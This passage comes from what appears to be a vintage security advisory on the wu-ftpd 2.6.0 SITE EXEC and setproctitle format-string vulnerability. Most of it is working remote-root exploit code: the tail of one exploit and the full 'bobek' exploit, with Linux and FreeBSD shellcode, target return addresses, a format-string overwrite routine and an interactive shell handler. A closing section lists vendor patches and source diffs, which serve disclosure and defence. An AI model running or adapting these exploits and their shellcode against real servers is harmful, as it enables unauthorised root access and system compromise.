	    (void)bzero(buff_p,4096);
	    ftp_siteexec(sock,buff,strlen(buff),1,buff_p,4095);
	    if((buff_p2=strchr(buff_p,'\r'))!=NULL)
	     *buff_p2=(char)0;
	    if((buff_p2=strchr(buff_p,'\n'))!=NULL)
	     *buff_p2=(char)0;
	    buff_p2=strstr(buff_p,"|0x");
	    if(buff_p2==NULL){
	      fprintf(stderr,"Fix me, incorrect response from '%%p':%s\n",buff_p);
	      exit(1);
	    }
	    buff_p2+=3;
	    if(!testmode)
	      printf("STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)\n",buff_p2,getit.addr_ret_addr);
	    else
	      printf("STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)\n",buff_p2,getit.pass_addr);
	    sleep(getit.delay);
	    buff_p2=strstr(buff, "%.f");
	    *buff_p2++=(char )0;
	    strcpy(buff_p, buff);
	    if(!testmode)
	      sprintf(buff_p+strlen(buff_p),"%s%u%c","%d%.",(u_int)getit.pass_addr,'d');
	    else
	      sprintf(buff_p+strlen(buff_p),"%s","%d%d");
	    strcpy(buff_p+strlen(buff_p), buff_p2);
	    buff_p2=strchr(buff_p,'|');
	    buff_p2++;
	    printf("STEP 5 : Sending code.. this will take about 10 seconds.\n");
	    if(!testmode){
	      strcpy(buff_p2,"%n\r\n");
	      ftp_send(sock,buff_p,strlen(buff_p),0,NULL,0);
	    } else {
	      (void)bzero(buff,4096);
	      strcpy(buff_p2,"%s\r\n");
	      ftp_send(sock,buff_p,strlen(buff_p),1,buff,4092);
	      printf("got answer: %s\n",buff);
	      exit(0);
	    }
	    free(buff_p);
	    free(buff);
	    signal(SIGINT, SIG_IGN);
	    signal(SIGHUP, SIG_IGN);
	    printf(RED"Press ^\\ to leave shell"NORM"\n");
	    process_possibly_rooted(sock);
	    return 0;
    }

    Yet another code:

    /*
     * (c) 2000 venglin / b0f
     * http://b0f.freebsd.lublin.pl
     *
     * WUFTPD 2.6.0 REMOTE ROOT EXPLOIT (22/06/2000)
     *
     * Idea and preliminary version of exploit by tf8
     *
     * Greetz: Lam3rZ, TESO, ADM, lcamtuf, karpio.
     * Dedicated to ksm.
     *
     * **PRIVATE**DO*NOT*DISTRIBUTE**
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <stdarg.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <unistd.h>
    #include <arpa/inet.h>
    
    
    #define repln	if (getreply(0) < 0) return -1
    #define replv	if (getreply(1) < 0) return -1
    
    #ifdef DEBUG
    #define repl replv
    #else
    #define repl repln
    #endif
    
    char usage[] = "usage: bobek [-l login] [-o port] [-t type] hostname";
    char recvbuf[BUFSIZ], sendbuf[BUFSIZ];
    FILE *cin, *cout;
    
    char linuxcode[]= /* Lam3rZ chroot() code */
	    "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
	    "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
	    "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd"
	    "\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
	    "\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e"
	    "\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
	    "\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88"
	    "\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
	    "\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31"
	    "\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e"
	    "\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e\x67\x6c\x69"
	    "\x6e";
    
    char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
	    "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
	    "\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
	    "\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\x01\x53\x53\xb0\x88"
	    "\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80\x31"
	    "\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31"
	    "\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75\xf1"
	    "\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd\x80"
	    "\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46\x07"
	    "\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
	    "\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53\x53"
	    "\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\x30\x62\x69\x6e\x30"
	    "\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e\x67\x6c\x69\x6e";
    
    struct platforms
    {
	    char *os;
	    char *version;
	    char *code;
	    int align;
	    int eipoff;
	    long ret;
	    long retloc;
	    int sleep;
    };
    
    struct platforms targ[] =
    {
	    { "FreeBSD 3.4-STABLE", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1f10,
		    0xbfbfcc04, 0 },
	    { "FreeBSD 5.0-CURRENT", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1510,
		    0xbfbfec0c, 0 },
	    { "FreeBSD 3.4-STABLE", "2.6.0-packages", bsdcode, 2, 1024, 0x80b1510,
		    0xbfbfe798, 0 },
	    { "FreeBSD 3.4-STABLE", "2.6.0-venglin", bsdcode, 2, 1024, 0x807078c,
		    0xbfbfcc04, 0 },
	    { "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0,
		    0xbfffcf74, 0 },
	    { "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0,
		    0xbfffd074, 0 },
    
	    { NULL, NULL, NULL, 0, NULL, NULL, 0 }
    };
    
    long getip(name)
    char *name;
    {
	    struct hostent *hp;
	    long ip;
	    extern int h_errno;
    
	    if ((ip = inet_addr(name)) < 0)
	    {
		    if (!(hp = gethostbyname(name)))
		    {
			    fprintf(stderr, "gethostbyname(): %s\n",
				    strerror(h_errno));
			    exit(1);
		    }
		    memcpy(&ip, (hp->h_addr), 4);
	    }
    
	    return ip;
    }
    
    int connecttoftp(host, port)
    char *host;
    int port;
    {
	    int sockfd;
	    struct sockaddr_in cli;
    
	    bzero(&cli, sizeof(cli));
	    cli.sin_family = AF_INET;
	    cli.sin_addr.s_addr=getip(host);
	    cli.sin_port = htons(port);
    
	    if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
	    {
		    perror("socket");
		    return -1;
	    }
    
	    if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
	    {
                    perror("connect");
		    close(sockfd);
		    return -1;
	    }
    
	    cin = fdopen(sockfd, "r");
	    cout = fdopen(sockfd, "w");
    
	    if (!cin || !cout)
	    {
		    close(sockfd);
		    return -1;
	    }
    
	    return sockfd;
    }
    
    int command(const char *fmt, ...)
    {
	    char buf1[BUFSIZ], buf2[BUFSIZ*2], *p, *q;
    
	    va_list args;
    
	    if (!cout)
		    return -1;
    
	    bzero(buf1, BUFSIZ);
	    bzero(buf2, BUFSIZ*2);
    
	    va_start(args, fmt);
	    vsnprintf(buf1, BUFSIZ, fmt, args);
	    va_end(args);
    
	    for (p=buf1,q=buf2;*p;p++,q++)
	    {
		    if (*p == '\xff')
		    {
			    *q++ = '\xff';
			    *q = '\xff';
		    }
		    else
			    *q = *p;
	    }
    
	    fprintf(cout, "%s", buf2);
    
    #ifdef DEBUG
	    fprintf(stderr, "--> ");
	    fprintf(stderr, "%s", buf2);
	    fputc('\n', stderr);
    #endif
    
	    fputs("\r\n", cout);
	    (void)fflush(cout);
	    return 0;
    }
    
    int getreply(v)
    int v;
    {
	    if (!(fgets(recvbuf, BUFSIZ, cin)))
		    return -1;
    
	    if (v)
		    fprintf(stderr, "<-- %s", recvbuf);
    
	    return 0;
    }
    
    int logintoftp(login, passwd)
    char *login, *passwd;
    {
	    do
		    repl;
	    while (strncmp(recvbuf, "220 ", 4));
    
	    if ((command("USER %s", login)) < 0)
		    return -1;
    
	    repl;
    
	    if (strncmp(recvbuf, "331", 3))
	    {
		    puts(recvbuf);
		    return -1;
	    }
    
	    if ((command("PASS %s", passwd) < 0))
		    return -1;
    
	    do
		    repl;
	    while (strncmp(recvbuf, "230 ", 4));
    
	    return 0;
    }
    
    int checkvuln(void)
    {
	    command("SITE EXEC %%p");
	    repl;
    
	    if(strncmp(recvbuf, "200-", 4))
		    return -1;
    
	    if(strncmp(recvbuf+4, "0x", 2))
		    return -1;
    
	    repl;
    
	    return 0;
    }
    
    int findeip(eipoff, align)
    int eipoff, align;
    {
	    int i, j, off;
	    char *p1;
	    char eip1[10], eip2[10];
    
	    for (i=eipoff;;i+=8)
	    {
		    fprintf(stderr, "at offset %d\n", i);
		    strcpy(sendbuf, "SITE EXEC ");
    
		    for (j=0;j<align;j++) strcat(sendbuf, "a");
		    strcat(sendbuf, "abcd");
    
		    for (j=0;j<eipoff/8;j++) strcat(sendbuf, "%%.f");
		    for (j=0;j<(i-eipoff)/8;j++) strcat(sendbuf, "%%d%%d");
		    strcat(sendbuf, "|%%.8x|%%.8x");
    
		    if (command(sendbuf) < 0)
			    return -1;
    
		    repl;
    
		    if (!(p1 = strchr(recvbuf, '|')))
			    return -1;
    
		    strncpy(eip1, p1+1, 8);
		    strncpy(eip2, p1+10, 8);
    
		    eip1[8] = eip2[8] = '\0';
    
		    if (!(strcmp(eip1, "64636261")))
		    {
			    off = i;
			    break;
		    }
    
		    if (!(strcmp(eip2, "64636261")))
		    {
			    off = i + 4;
			    break;
		    }
    
		    repl;
	    }
    
	    repl;
    
	    return off;
    }
    
    char *putshell(type)
    int type;
    {
	    static char buf[400];
	    int noplen;
    
	    char *code = targ[type].code;
    
	    noplen = sizeof(buf) - strlen(code) - 2;
    
	    memset(buf, 0x90, noplen);
	    buf[noplen+1] = '\0';
	    strcat(buf, code);
    
	    return buf;
    }
    
    int overwrite(ptr, off, align, retloc, eipoff)
    long ptr, retloc;
    int off, align, eipoff;
    {
	    int i, size = 0;
	    char buf[100];
    
	    fprintf(stderr, "RET: %p, RET location: %p,"
		    " RET location offset on stack: %d\n",
		    (void *)ptr, (void *)retloc, off);
    
	    if (off >= 12)
	    {
    
		    strcpy(sendbuf, "SITE EXEC ");
    
		    for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f");
		    for (i=0;i<(off-eipoff-8)/8;i++) strcat(sendbuf, "%%d%%d");
    
		    if (((off-eipoff-8) % 8) != 0) strcat(sendbuf, "%%d%%d");
    
		    if (command(sendbuf) < 0)
			    return -1;
    
		    repl;
    
		    size = strlen(recvbuf+4) - 2;
    
		    repl;
	    }
    
	    fprintf(stderr, "Reply size: %d, New RET: %p\n", size,
		    (void *)(ptr-size));
    
	    strcpy(sendbuf, "SITE EXEC ");
	    for (i=0;i<align;i++) strcat(sendbuf, "a");
    
	    sprintf(buf, "%c%c%c%c", ((int)retloc & 0xff),
		    (((int)retloc & 0xff00) >> 8),
		    (((int)retloc & 0xff0000) >> 16),
		    (((int)retloc & 0xff000000) >> 24));
    
	    strcat(sendbuf, buf);
    
	    for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f");
	    for (i=0;i<(off-eipoff-8)/8;i++) strcat(sendbuf, "%%d%%d");
    
	    if (((off-eipoff-8) % 8) != 0) strcat(sendbuf, "%%d%%d");
    
	    strcat(sendbuf, "%%.");
	    sprintf(buf, "%d", (int)ptr-size);
	    strcat(sendbuf, buf);
	    strcat(sendbuf, "d%%n");
    
	    if (command(sendbuf) < 0)
		    return -1;
    
	    return 0;
    }
    
    int sh(sockfd)
    int sockfd;
    {
	    char buf[BUFSIZ];
	    int c;
	    fd_set rf, drugi;
	    char cmd[] = "uname -a ; pwd ; id\n";
    
	    FD_ZERO(&rf);
	    FD_SET(0, &rf);
	    FD_SET(sockfd, &rf);
	    write(sockfd, cmd, strlen(cmd));
    
	    while (1)
	    {
		    bzero(buf, BUFSIZ);
		    memcpy (&drugi, &rf, sizeof(rf));
		    select(sockfd+1, &drugi, NULL, NULL, NULL);
		    if (FD_ISSET(0, &drugi))
		    {
			    c = read(0, buf, BUFSIZ);
			    send(sockfd, buf, c, 0x4);
		    }
    
		    if (FD_ISSET(sockfd, &drugi))
		    {
			    c = read(sockfd, buf, BUFSIZ);
			    if (c<0) return 0;
			    write(1,buf,c);
		    }
	    }
    }
    
    int main(argc, argv)
    int argc;
    char **argv;
    {
	    extern int optind, opterr;
	    extern char *optarg;
	    int ch, type, port, eipoff, fd, retoff, align;
	    long ret, retloc;
	    char login[BUFSIZ], password[BUFSIZ];
    
	    opterr = type = 0;
	    strcpy(login, "ftp");
	    port = 21;
    
	    while ((ch = getopt(argc, argv, "l:d:t:o")) != -1)
		    switch((char)ch)
		    {
			    case 'l':
				    strcpy(login, optarg);
				    break;
    
			    case 't':
				    type = atoi(optarg);
				    break;
    
			    case 'o':
				    port = atoi(optarg);
				    break;
    
			    case '?':
			    default:
				    puts(usage);
				    exit(0);
		    }
    
	    argc -= optind;
	    argv += optind;
    
	    fprintf(stderr, "Selected platform: %s with WUFTPD %s\n\n",
		    targ[type].os, targ[type].version);
    
	    eipoff = targ[type].eipoff;
	    align = targ[type].align;
	    ret = targ[type].ret;
	    retloc = targ[type].retloc;
    
	    if (argc != 1)
	    {
		    puts(usage);
		    exit(0);
	    }
    
	    strcpy(password, putshell(type));
    
	    if ((fd = connecttoftp(*argv, port)) < 0)
	    {
		    (void)fprintf(stderr, "Connection to %s failed.\n", *argv);
		    exit(1);
	    }
    
	    (void)fprintf(stderr, "Connected to %s. Trying to log in.\n", *argv);
    
	    if (logintoftp(login, password) < 0)
	    {
		    (void)fprintf(stderr, "Logging in to %s (%s) failed.\n",
			    *argv, login);
		    exit(1);
            }
    
	    (void)fprintf(stderr, "Logged in as %s. Checking vulnerability.\n",
		    login);
    
	    sleep(targ[type].sleep);
    
	    if (checkvuln() < 0)
	    {
		    (void)fprintf(stderr, "Sorry, this version isn't"
			    " vulnerable or uses internal vsnprintf().\n");
		    exit(1);
	    }
    
	    (void)fprintf(stderr, "Ok, trying to find offset (initial: %d)\n",
		    eipoff);
    
	    if ((retoff = findeip(eipoff, align)) < 0)
	    {
		    (void)fprintf(stderr, "\nError finding offset. Adjust"
			    " align.\n");
		    exit(1);
	    }
    
	    if (overwrite(ret, retoff, align, retloc, eipoff) < 0)
	    {
		    (void)fprintf(stderr, "Error overwriting RET addr.\n");
		    exit(1);
	    }
    
	    fprintf(stderr, "Wait 10-20 seconds for reply. Enjoy your shell.\n");
    
	    sh(fd);
    
	    exit(0);
    }

SOLUTION

    2.6.1 has no this bug.

    For RedHat:

      Red Hat Linux 5.2:
        i386: ftp://updates.redhat.com/5.2/i386/wu-ftpd-2.6.0-2.5.x.i386.rpm
        alpha: ftp://updates.redhat.com/5.2/alpha/wu-ftpd-2.6.0-2.5.x.alpha.rpm
        sparc: ftp://updates.redhat.com/5.2/sparc/wu-ftpd-2.6.0-2.5.x.sparc.rpm
        sources: ftp://updates.redhat.com/5.2/SRPMS/wu-ftpd-2.6.0-2.5.x.src.rpm

      Red Hat Linux 6.2:
        i386: ftp://updates.redhat.com/6.2/i386/wu-ftpd-2.6.0-14.6x.i386.rpm
        alpha: ftp://updates.redhat.com/6.2/alpha/wu-ftpd-2.6.0-14.6x.alpha.rpm
        sparc: ftp://updates.redhat.com/6.2/sparc/wu-ftpd-2.6.0-14.6x.sparc.rpm
        sources: ftp://updates.redhat.com/6.2/SRPMS/wu-ftpd-2.6.0-14.6x.src.rpm

    You are supposed  to use the  latest fixes for  your major release
    number.  So if you run 6.0  or 6.1 you must use the 6.2  fixes. So
    there IS  a fix  for 6.1  and 6.0  available.   If you use RH 4.2,
    sorry, but no patch this time.

    For Debian GNU/Linux 2.1 alias slink:

      Source archives:
        http://security.debian.org/dists/slink/updates/source/wu-ftpd-academ_2.4.2.16-13.1.diff.gz
        http://security.debian.org/dists/slink/updates/source/wu-ftpd-academ_2.4.2.16-13.1.dsc
        http://security.debian.org/dists/slink/updates/source/wu-ftpd-academ_2.4.2.16.orig.tar.gz

      Intel ia32 architecture:
        http://security.debian.org/dists/slink/updates/binary-i386/wu-ftpd-academ_2.4.2.16-13.1_i386.deb

      Sun Sparc architecture:
        http://security.debian.org/dists/slink/updates/binary-sparc/wu-ftpd-academ_2.4.2.16-13.1_sparc.deb

    For Debian 2.2 alias potato:

      Source archives:
        http://security.debian.org/dists/potato/updates/main/source/wu-ftpd_2.6.0-5.1.diff.gz
        http://security.debian.org/dists/potato/updates/main/source/wu-ftpd_2.6.0-5.1.dsc
        http://security.debian.org/dists/potato/updates/main/source/wu-ftpd_2.6.0.orig.tar.gz

      Architecture indendent archives:
        http://security.debian.org/dists/potato/updates/main/binary-all/wu-ftpd-academ_2.6.0-5.1_all.deb

      Alpha architecture:
        http://security.debian.org/dists/potato/updates/main/binary-alpha/wu-ftpd_2.6.0-5.1_alpha.deb

      ARM architecture:
        http://security.debian.org/dists/potato/updates/main/binary-arm/wu-ftpd_2.6.0-5.1_arm.deb

      Intel ia32 architecture:
        http://security.debian.org/dists/potato/updates/main/binary-i386/wu-ftpd_2.6.0-5.1_i386.deb

      PowerPC architecture:
        http://security.debian.org/dists/potato/updates/main/binary-powerpc/wu-ftpd_2.6.0-5.1_powerpc.deb

      Sun Sparc architecture:
        http://security.debian.org/dists/potato/updates/main/binary-sparc/wu-ftpd_2.6.0-5.1_sparc.deb

    For Conectiva Linux:

        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0/i386/wu-ftpd-2.6.0-11cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0es/i386/wu-ftpd-2.6.0-11cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/i386/wu-ftpd-2.6.0-11cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/i386/wu-ftpd-2.6.0-11cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/i386/wu-ftpd-2.6.0-11cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/servidor-1.0/i386/wu-ftpd-2.6.0-11cl.i386.rpm

    For OpenLinux:

      OpenLinux Desktop 2.3
        ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/RPMS/
        ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/SRPMS

      OpenLinux eServer 2.3 and OpenLinux eBuilder for ECential 3.0
        ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/
        ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/SRPMS

      OpenLinux eDesktop 2.4
        ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/RPMS/
        ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/SRPMS

    For SuSE Linux (For SuSE 6.0, please use the 6.1 updates):

      AXP:
        ftp://ftp.suse.com/pub/suse/axp/update/6.1/n1/wuftpd-2.6.0-121.alpha.rpm
        ftp://ftp.suse.com/pub/suse/axp/update/6.3/n1/wuftpd-2.6.0-121.alpha.rpm
        ftp://ftp.suse.com/pub/suse/axp/update/6.4/n1/wuftpd-2.6.0-121.alpha.rpm

      i386:
        ftp://ftp.suse.com/pub/suse/i386/update/6.1/n1/wuftpd-2.6.0-122.i386.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/6.2/n1/wuftpd-2.6.0-121.i386.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/6.3/n1/wuftpd-2.6.0-121.i386.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/6.4/n1/wuftpd-2.6.0-122.i386.rpm

      PPC:
        ftp://ftp.suse.com/pub/suse/ppc/update/6.4/n1/wuftpd-2.6.0-121.ppc.rpm

    For Slackware Linux:  The wu-ftpd daemon is part of the tcpip1.tgz
    package  in  the  N  series.   A  new  tcpip1.tgz  package  is now
    available in  the Slackware  7.1 tree.   Slackware team  have also
    provided  a  seperate  patch  package  for  users who have already
    installed  Slackware  7.1  and  just  want  the new FTP daemon.  A
    seperate wu-ftpd-only patch package  is available in the  patches/
    subdirectory:

        ftp://ftp.slackware.com/pub/slackware/slackware-7.1/patches/

    For Mandrake Linux:

        6.0/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm
        src: 6.0/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm
        6.1/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm
        src: 6.1/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm
        7.0/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm
        src: 7.0/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm
        7.1/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm
        src: 7.1/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm

    For FreeBSD:

      1) Upgrade your entire ports collection and rebuild the  wu-ftpd
         port.
      2) Deinstall  the old  package and  install a  new package dated
         after the correction date (2000-07-05), obtained from:
         ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/ftp/wu-ftpd-2.6.0.tar.gz
         ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/ftp/wu-ftpd-2.6.0.tar.gz
         ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-stable/ftp/wu-ftpd-2.6.0.tar.gz
         ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/ftp/wu-ftpd-2.6.0.tar.gz
         ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-5-current/ftp/wu-ftpd-2.6.0.tar.gz
      3) download a new port skeleton for the wu-ftpd port from:
         http://www.freebsd.org/ports/
         and use it to rebuild the port.

    Two temporary ftpd binaries (for HP-UX 11.00 and HP-UX 10.20)  can
    be found at:

        ftp://ftp.cup.hp.com/dist/networking/ftp/ftpd.11.0
        ftp://ftp.cup.hp.com/dist/networking/ftp/ftpd.10.20
        ftp://ftp.cup.hp.com/dist/networking/ftp/ftpd.10.00-10.10

    These are to be installed in /usr/lbin/ftpd, with permissions 544.

    Also. be sure to upgrade to ProFTPD 1.2.0

    The setproctitle bug is in OpenBSD can be solved by going to:

        http://www.openbsd.org/errata.html#ftpd

    Slackware Linux Project:

        ftp://ftp.slackware.com/pub/slackware/slackware-7.1/patches/wu-ftpd-patch.README

    For Turbo Linux:

        ftp://ftp.turbolinux.com/pub/updates/4.0/security/wu-ftpd-2.6.1-1.i386.rpm
        ftp://ftp.turbolinux.com/pub/updates/4.0/SRPMS/wu-ftpd-2.6.1-1.src.rpm

    Note:  You  must  rebuild  and  install  the  RPM if you choose to
    download and install the SRPM.   Simply installing the SRPM  alone
    WILL NOT CLOSE THE SECURITY HOLE.

    There aren't  any patches  for wu-ftpd-academ.   Tomasz  Grabowski
    made  a  patch  for  that  bug  so  You  don't need to change Your
    wu-ftpd-academ to wu-ftpd if You don't want.

    --- src/ftpcmd.y.orig	Tue Jun 27 16:57:36 2000
    +++ src/ftpcmd.y	Tue Jun 27 17:00:42 2000
    @@ -1590,13 +1590,13 @@
         } else {
             int lines = 0;

    -        lreply(200, cmd);
    +	lreply(200, "%s", cmd);
             while (fgets(buf, sizeof buf, cmdf)) {
                 int len = strlen(buf);

                 if (len>0 && buf[len-1]=='\n')
                     buf[--len] = '\0';
    -            lreply(200, buf);
    +	    lreply(200, "%s", buf);
                 if (++lines >= 20) {
                     lreply(200, "*** Truncated ***");
                     break;

    --- src/ftpd.c.orig	Tue Jun 27 17:05:30 2000
    +++ src/ftpd.c	Tue Jun 27 17:06:37 2000
    @@ -1775,7 +1775,7 @@
             reply(230, "User %s logged in.%s", pw->pw_name, guest ?
                   "  Access restrictions apply." : "");
             sprintf(proctitle, "%s: %s", remotehost, pw->pw_name);
    -        setproctitle(proctitle);
    +	setproctitle("%s", proctitle);
             if (logging)
                 syslog(LOG_INFO, "FTP LOGIN FROM %s [%s], %s",
                        remotehost, remoteaddr, pw->pw_name);
    @@ -3337,7 +3337,7 @@

         remotehost[sizeof(remotehost)-1]='\0';
         sprintf(proctitle, "%s: connected", remotehost);
    -    setproctitle(proctitle);
    +    setproctitle("%s", proctitle);

     #if 0	/* this is redundant unless the caller doesn't do *anything*, and
 	       tcpd will pick it up and deal with it better anyways. _H*/

    However, wu-ftpd-academ is a dead branch and you should update  to
    2.6.0 or higher.

    Try this one to workaround:

    diff -ur wu-ftpd-orig/src/ftpcmd.y wu-ftpd-2.6.0/src/ftpcmd.y
    --- wu-ftpd-orig/src/ftpcmd.y	Wed Oct 13 08:15:28 1999
    +++ wu-ftpd-2.6.0/src/ftpcmd.y	Thu Jun 22 22:44:41 2000
    @@ -1926,13 +1926,13 @@
 	    }
 	    if (!maxfound)
 	        maxlines = defmaxlines;
    -	lreply(200, cmd);
    +	lreply(200, "%s", cmd);
 	    while (fgets(buf, sizeof buf, cmdf)) {
 	        size_t len = strlen(buf);

 	        if (len > 0 && buf[len - 1] == '\n')
 		    buf[--len] = '\0';
    -	    lreply(200, buf);
    +	    lreply(200, "%s", buf);
 	        if (maxlines <= 0)
 		    ++lines;
 	        else if (++lines >= maxlines) {
    diff -ur wu-ftpd-orig/src/ftpd.c wu-ftpd-2.6.0/src/ftpd.c
    --- wu-ftpd-orig/src/ftpd.c	Thu Jun 22 22:23:40 2000
    +++ wu-ftpd-2.6.0/src/ftpd.c	Thu Jun 22 22:45:23 2000
    @@ -3157,7 +3157,7 @@
 	    reply(230, "User %s logged in.%s", pw->pw_name, guest ?
 	          "  Access restrictions apply." : "");
 	    sprintf(proctitle, "%s: %s", remotehost, pw->pw_name);
    -	setproctitle(proctitle);
    +	setproctitle("%s", proctitle);
 	    if (logging)
 	        syslog(LOG_INFO, "FTP LOGIN FROM %s, %s", remoteident, pw->pw_name);
     /* H* mod: if non-anonymous user, copy it to "authuser" so everyone can
    @@ -5912,7 +5912,7 @@

         remotehost[sizeof(remotehost) - 1] = '\0';
         sprintf(proctitle, "%s: connected", remotehost);
    -    setproctitle(proctitle);
    +    setproctitle("%s", proctitle);

         wu_authenticate();
     /* Create a composite source identification string, to improve the logging

    For NetBSD:

        ftp://ftp.netbsd.org/pub/NetBSD/packages/pkgsrc/net/wu-ftpd/README.html

    Since the OPIE software  doesn't appear to be  actively maintained
    any more, here're (trivial)  patches to the recent  setproctitle()
    thing.   Actually this  is against  the version  from the  FreeBSD
    source tree,  so the  offsets may  be a  bit different.   We don't
    actually compile  this code  in FreeBSD,  it's just  along for the
    ride under /usr/src/contrib with the  other OPIE stuff that we  do
    use.

    Index: opieftpd.c
    ===================================================================
    RCS file: /home/ncvs/src/contrib/opie/opieftpd.c,v
    retrieving revision 1.3
    diff -u -r1.3 opieftpd.c
    --- opieftpd.c	2000/04/10 11:18:47	1.3
    +++ opieftpd.c	2000/07/10 07:23:02
    @@ -633,7 +633,7 @@
     #if DOTITLE
         snprintf(proctitle, sizeof(proctitle), "%s: anonymous/%s", remotehost,
 	    passwd);
    -    setproctitle(proctitle);
    +    setproctitle("%s", proctitle);
     #endif	/* DOTITLE */
         syslog(LOG_NOTICE, "ANONYMOUS FTP login from %s with ID %s",
                 remotehost, passwd);
    @@ -644,7 +644,7 @@

     #if DOTITLE
         snprintf(proctitle, sizeof(proctitle), "%s: %s", remotehost, pw->pw_name);
    -    setproctitle(proctitle);
    +    setproctitle("%s", proctitle);
     #endif	/* DOTITLE */
         syslog(LOG_INFO, "FTP login from %s with user name %s", remotehost, pw->pw_name);
       }
    @@ -1262,7 +1262,7 @@
       remotehost[sizeof(remotehost) - 1] = '\0';
     #if DOTITLE
       snprintf(proctitle, sizeof(proctitle), "%s: connected", remotehost);
    -  setproctitle(proctitle);
    +  setproctitle("%s", proctitle);
     #endif	/* DOTITLE */

       t = time((time_t *) 0);